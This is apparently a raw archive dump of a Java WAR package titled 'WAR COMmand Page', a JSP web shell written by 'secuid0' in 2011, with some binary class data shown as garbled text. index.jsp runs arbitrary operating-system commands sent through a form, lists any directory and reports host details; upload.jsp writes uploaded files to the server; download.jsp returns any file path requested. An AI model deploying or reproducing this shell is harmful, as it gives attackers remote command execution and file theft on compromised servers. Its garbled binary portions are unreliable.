PK jH> META-INF/PK jH>AkkMETA-INF/MANIFEST.MFManifest-Version: 1.0 Ant-Version: Apache Ant 1.8.1 Created-By: 1.6.0_22-b04-307-10M3261 (Apple Inc.) PK jH>WEB-INF/PK jH>WEB-INF/classes/PK jH>WEB-INF/classes/secuid0/PK jH>WEB-INF/classes/secuid0/java/PK jH>!WEB-INF/classes/secuid0/java/com/PK jH>2U2/WEB-INF/classes/secuid0/java/com/OSDetect.class2F )* + ,- ./ 0 12 34 567 589:;<=>osLjava/lang/String;()VCodeLineNumberTableLocalVariableTablethisLsecuid0/java/com/OSDetect;getOs()Ljava/lang/String; StackMapTable isWindows()Z?isMacisHPUXisUnix SourceFile OSDetect.java   !" cmd.exe /C $" &" %"os.name@ AB? Cwin DEmachpnixnuxsecuid0/java/com/OSDetectjava/lang/Objectjava/lang/Stringjava/lang/System getProperty&(Ljava/lang/String;)Ljava/lang/String; toLowerCaseindexOf(Ljava/lang/String;)I!= **   > *- * * **- 9$ >  !"V K*  ( )   #@ $"V K* - .   #@ %"V K* 2 3   #@ &"`! K* * 7 8   #@'(PK jH>D/WEB-INF/sun-web.xml /warcomp Keep a copy of the generated servlet class' java code. PK jH> download.jsp<%-- Document : download Created on : Feb 7, 2011, 23:22:48 PM Author : Anastasios Monachos - secuid0 Email : anastasiosm@gmail.com Web : www.intelcomms.net --%> <%@page contentType="text/html" pageEncoding="UTF-8"%> <%@page import="java.io.FileInputStream" %> <%@page import="java.io.BufferedInputStream" %> <%@page import="java.io.File" %> <%@page import="java.io.IOException" %> <% String filepath = request.getParameter("downloadFileFullPath"); String filename = request.getParameter("downloadFilename"); if (filename.length()>0) { BufferedInputStream buf=null; ServletOutputStream myOut=null; try{ myOut = response.getOutputStream( ); File myfile = new File(filepath+filename); //set response headers response.setContentType("text/plain"); response.addHeader("Content-Disposition","attachment; filename="+filename); response.setContentLength( (int) myfile.length( ) ); FileInputStream input = new FileInputStream(myfile); buf = new BufferedInputStream(input); int readBytes = 0; //read from the file; write to the ServletOutputStream while((readBytes = buf.read( )) != -1) myOut.write(readBytes); } catch (IOException ioe){ throw new ServletException(ioe.getMessage( )); } finally { //close the input/output streams if (myOut != null) myOut.close( ); if (buf != null) buf.close( ); %> <% } }//end if else//do nothing { %> <% } %> PK jH>F1BB index.jsp<%-- Document : index Created on : Feb 7, 2011, 23:03:26 PM Author : Anastasios Monachos - secuid0 Email : anastasiosm@gmail.com Web : www.intelcomms.net Misc : Deploy WAR file, then call http(s)://server/warcomp/index.jsp --%> <%@page contentType="text/html" pageEncoding="UTF-8"%> <%@page import="java.io.*" %> <%@page import="java.lang.*" %> <%@page import="java.net.*" %> <%@page import="secuid0.java.com.*" %> WAR COMmand Page v.0.1 - secuid0
Function Result
Choose the file to upload:

List contents of directory:

<% if (request.getParameter("userEntersDirectoryToList")!=null) { String listDirectoryContents = request.getParameter("userEntersDirectoryToList"); try{ out.println("Listing contents of: "+listDirectoryContents+"
"); File dir = new File(listDirectoryContents); String[] chld = dir.list(); for(int i=0; i"); out.println(fileName); } listDirectoryContents = request.getParameter("listDirectory"); }//end try catch (Exception e){ out.println("No directory entered or exception thrown.
"); } } out.println(""); %>
Enter Command:

<% if (request.getParameter("userEntersCommand")!=null) { String commandToExecute = request.getParameter("userEntersCommand"); { if (commandToExecute.length()>0){ String output = ""; String s = null; try { OSDetect detect = new OSDetect();//out.println(detect.getOs()); Process p = Runtime.getRuntime().exec(detect.getOs()+commandToExecute); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s; output += "
"; } } catch(IOException e) {e.printStackTrace();} out.println("Command executed: "+commandToExecute+"
"); out.println(output); }//end of if else {out.println("No command entered.
"); } } } %>
Enter a file's full absolute path to download: Enter file's name:

<% InetAddress localMachine = InetAddress.getLocalHost(); try{ byte[] ipAddr = localMachine.getAddress(); String ipAddrStr = ""; for (int i=0; i 0) { ipAddrStr += "."; } ipAddrStr += ipAddr[i]&0xFF; } out.println("IP Address : " + ipAddrStr+"
"); } catch (UnknownHostException e) {} out.println("Hostname : " + localMachine.getHostName()+"
"); out.println( "Architecture: " + System.getProperty("os.arch")+"
"); out.println( "Processors : " + Runtime.getRuntime().availableProcessors() +"
"); out.println( "OS : " + System.getProperty("os.name")+"
"); out.println( "Version : " + System.getProperty("os.version")+"
"); out.println( "Current Time: " + new java.util.Date()+"
"); %>
PK jH>e{g upload.jsp<%-- Document : sinle_upload_page Created on : Feb 2, 2011, 5:32:26 PM Author : Anastasios Monachos - secuid0 Email : anastasiosm@gmail.com Web : www.intelcomms.net --%> <%@page contentType="text/html" pageEncoding="UTF-8"%> <%@page import="java.io.*" %> <% //to get the content type information from JSP Request Header String contentType = request.getContentType(); //here we are checking the content type is not equal to Null and as well as the passed data from mulitpart/form-data is greater than or equal to 0 try{ if ((contentType != null) && (contentType.indexOf("multipart/form-data") >= 0)) { DataInputStream in = new DataInputStream(request.getInputStream()); //we are taking the length of Content type data int formDataLength = request.getContentLength(); byte dataBytes[] = new byte[formDataLength]; int byteRead = 0; int totalBytesRead = 0; //this loop converting the uploaded file into byte code while (totalBytesRead < formDataLength) { byteRead = in.read(dataBytes, totalBytesRead, formDataLength); totalBytesRead += byteRead; } String file = new String(dataBytes); //for saving the file name String saveFile = file.substring(file.indexOf("filename=\"") + 10); saveFile = saveFile.substring(0, saveFile.indexOf("\n")); saveFile = saveFile.substring(saveFile.lastIndexOf("\\") + 1,saveFile.indexOf("\"")); int lastIndex = contentType.lastIndexOf("="); String boundary = contentType.substring(lastIndex + 1,contentType.length()); int pos; //extracting the index of file pos = file.indexOf("filename=\""); pos = file.indexOf("\n", pos) + 1; pos = file.indexOf("\n", pos) + 1; pos = file.indexOf("\n", pos) + 1; int boundaryLocation = file.indexOf(boundary, pos) - 4; int startPos = ((file.substring(0, pos)).getBytes()).length; int endPos = ((file.substring(0, boundaryLocation)).getBytes()).length; // creating a new file with the same name and writing the content in new file FileOutputStream fileOut = new FileOutputStream(saveFile); fileOut.write(dataBytes, startPos, (endPos - startPos)); fileOut.flush(); fileOut.close(); %>
You have successfully uploaded the file: <% out.println(saveFile); %> <% } }//end of try catch(Exception e) { %> <% } %> PK jH> AMETA-INF/PK jH>Akk+META-INF/MANIFEST.MFPK jH>AWEB-INF/PK jH>AWEB-INF/classes/PK jH>AWEB-INF/classes/secuid0/PK jH>ARWEB-INF/classes/secuid0/java/PK jH>!AWEB-INF/classes/secuid0/java/com/PK jH>2U2/WEB-INF/classes/secuid0/java/com/OSDetect.classPK jH>D/(WEB-INF/sun-web.xmlPK jH> _ download.jspPK jH>F1BB Lindex.jspPK jH>e{g -upload.jspPK <